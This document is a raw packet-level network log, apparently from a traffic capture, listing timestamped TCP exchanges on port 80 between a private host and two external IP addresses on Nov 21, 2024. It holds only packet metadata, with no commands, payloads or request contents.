Nov 21, 2024 14:11:25.947334051 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.947668076 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.948331118 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.948463917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.948869944 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.949496984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.949599981 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.949743986 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.950598001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.950683117 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.950913906 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.953995943 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.954061985 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.954075098 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.954190016 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.954412937 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.954485893 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.954497099 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.954561949 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.954561949 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.955178022 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.955276012 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.955643892 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.955657959 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.955703020 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.955714941 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.955733061 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.955804110 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.956697941 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.956748962 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.956760883 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.956783056 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.956880093 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.957300901 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.957324982 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.957336903 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.958012104 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.958045006 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.958077908 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.958090067 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.958347082 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.958853006 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.958930969 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.958941936 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.958947897 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.959034920 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.959588051 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.959682941 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.959695101 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.959742069 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.959742069 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.960413933 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.960438013 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.960469961 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.960541964 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.960546970 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.960598946 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.961165905 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.961216927 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.961227894 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.961256981 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.961302042 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.961961985 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.962040901 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.962044954 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.962055922 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.962097883 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.962726116 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.962799072 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.962810993 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.962831974 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.962913990 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.963526964 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.963581085 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.963592052 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.963596106 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.963629961 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.963727951 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.964360952 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.964426041 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.964435101 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.964447975 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.964507103 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.964507103 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.965109110 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.965167046 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.965178013 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.965189934 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.965221882 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.965223074 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.965926886 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.965981007 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.965992928 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.966017008 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.966140985 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.966689110 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.966746092 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.966751099 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.966757059 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.966831923 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.967528105 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.967602968 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.967613935 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.967674017 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.967685938 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.967888117 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.968265057 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.968333006 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.968338966 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.968352079 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.968488932 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.969054937 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.969108105 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.969119072 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.969140053 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.969285011 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.969856977 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.969909906 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.969921112 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.969923019 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.969980955 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.969980955 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.970690012 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.970752001 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.970756054 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.970763922 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.970798969 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.970828056 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.971422911 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.971487999 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.971683025 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.971718073 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.971729994 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.971780062 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.972476959 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.972522974 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.972534895 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.972554922 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.972587109 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.972587109 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.973367929 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.973380089 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.973391056 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.973426104 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.973503113 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.974052906 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.974118948 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.974178076 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.974214077 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.974245071 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.974440098 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.974849939 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.974898100 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.974910021 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.974931002 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.975027084 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.975629091 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.975699902 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.975712061 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.975732088 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.975833893 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.976463079 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.976522923 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.976526976 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.976535082 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.976597071 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.976597071 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.977238894 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.977313995 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.977325916 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.977438927 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.977994919 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.978055954 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.978068113 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.978089094 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.978245020 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.978776932 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.978844881 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.978909016 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.978940964 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.979038954 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.979581118 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.979629993 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.979641914 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.979665995 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.979743004 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.980433941 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.980478048 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.980490923 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.980556011 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.980556011 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.981175900 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.981247902 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.981313944 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.034157991 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.083673954 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.083779097 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.083831072 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.084266901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.084445953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.084570885 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.084609985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.085675001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.085741997 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.085774899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.086694956 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.086803913 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.086831093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.087920904 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.088018894 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.088030100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.088989019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.089071035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.089174986 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.090121984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.090234041 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.090240002 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.091360092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.091458082 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.091480970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.092400074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.092509031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.092602968 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.093543053 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.093631983 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.093713045 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.094666004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.094722033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.095067978 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.095896006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.095941067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.096061945 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.096991062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.097105980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.097142935 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.098053932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.098202944 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.098306894 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.099240065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.099292994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.099849939 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.100527048 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.100652933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.100652933 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.101514101 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.101617098 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.101623058 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.102632999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.102711916 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.102724075 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.103743076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.103806973 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.103861094 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.146035910 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.146095991 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.146106958 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.146188974 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.146188974 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.146373034 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.146418095 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.146429062 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.146454096 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.146543026 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.147135973 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.147317886 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.147356033 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.147380114 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.147391081 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.147460938 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.148133993 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.148200035 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.148200989 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.148211956 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.148263931 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.148881912 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.148910046 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.148988008 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.148999929 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.149017096 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.149101973 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.149689913 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.149765968 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.149776936 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.149847984 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.150479078 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.150536060 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.150547981 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.150604010 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.150631905 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.151264906 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.151326895 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.151340008 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.151376009 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.151458025 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.152056932 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.152124882 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.152160883 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.152172089 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.152224064 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.152224064 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.152890921 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.152920961 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.152931929 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.152956009 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.152986050 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.153646946 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.153826952 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.153848886 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.153975964 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.154247046 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.154515028 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.154575109 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.154578924 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.154589891 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.154766083 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.155252934 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.155286074 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.155297041 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.155308962 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.155354023 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.155994892 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.156061888 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.156073093 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.156120062 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.156343937 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.156805038 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.156867027 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.156877995 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.156898975 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.156949043 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.156987906 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.157114029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.157213926 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.157579899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.157641888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.157653093 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.157699108 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.157705069 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.157790899 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.157802105 CET	80	49905	185.215.113.16	192.168.2.6
